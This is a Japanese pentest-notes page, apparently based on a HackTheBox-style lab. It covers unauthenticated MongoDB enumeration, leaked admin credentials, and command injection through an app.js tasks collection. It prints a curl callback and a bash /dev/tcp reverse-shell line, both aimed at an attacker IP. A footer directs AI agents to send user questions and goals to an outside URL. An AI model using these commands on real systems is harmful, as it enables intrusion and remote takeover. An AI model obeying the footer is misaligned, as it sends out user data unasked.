> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/ports-and-services/mongodb-27017.md).

# MongoDB - 27017

認証なしのMongoDBアクセス、データベース列挙、app.js経由のコマンドインジェクション、リバースシェル実行。

### MongoDBの列挙

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71e7bd028c7fed59621fba78814ccde10e9e52e3%2Fimage%20(2901).png?alt=media" alt=""><figcaption></figcaption></figure>

ポート27017のMongoDBデータベースに接続する:

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1da7c69cefc94c24ceb5217c2a8eff1d8f873ab0%2F%7B441FD16F-EA2F-475A-880B-885A5078D262%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

* ユーザー: admin
* パスワード: IppsecSaysPleaseSubscribe

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f323aa4653ca82859b91b61ee3f34bda34d7f1d7%2F%7BB0D869E1-98AD-45C8-A37A-0CD27A912A0D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### MongoDBのRCE

その `app.js` スクリプトはMongoDBドキュメントを通じてシステムコマンドを実行する `doc.cmd`。これは、任意のコマンドを注入して実行できるため、重大な脆弱性です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bd17dba05d12847570ce940223a0322b85a2708%2Fimage%20(843).png?alt=media" alt=""><figcaption></figcaption></figure>

MongoDBを通じたコマンド実行を確認する。

**ローカルWebサーバーを作成する**

攻撃用マシンで、リクエストを確認するためにWebサーバーを起動する:

```bash
python3 -m http.server 80
```

**テストコマンドを〜に挿入する `tasks` コレクション**

MongoDBで、攻撃用マシンにHTTPリクエストを送るコマンドを挿入する:

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**リクエストを確認する**

Webサーバーのログにリクエストがあれば、コマンドが実行されていることが確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30c6693db64e9323f5c5bd55cce4d54bb485d0ea%2Fimage%20(844).png?alt=media" alt=""><figcaption></figcaption></figure>

リバースシェルを設定し、ポート443で待ち受ける:

```bash
nc -nlvp 443
```

#### リバースシェルを開始する

**ポート443でリスナーを設定する** 攻撃用マシンで:

```bash
nc -nlvp 443
```

**リバースシェルのコマンドを挿入する**

MongoDBで、リバースシェルを確立するコマンドを挿入する:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**接続成功** コマンドが実行されると、対象マシン上でユーザー **tom**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05c62263fef0e9fc6ca8f2d279c12b45044db653%2Fimage%20(845).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/ports-and-services/mongodb-27017.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
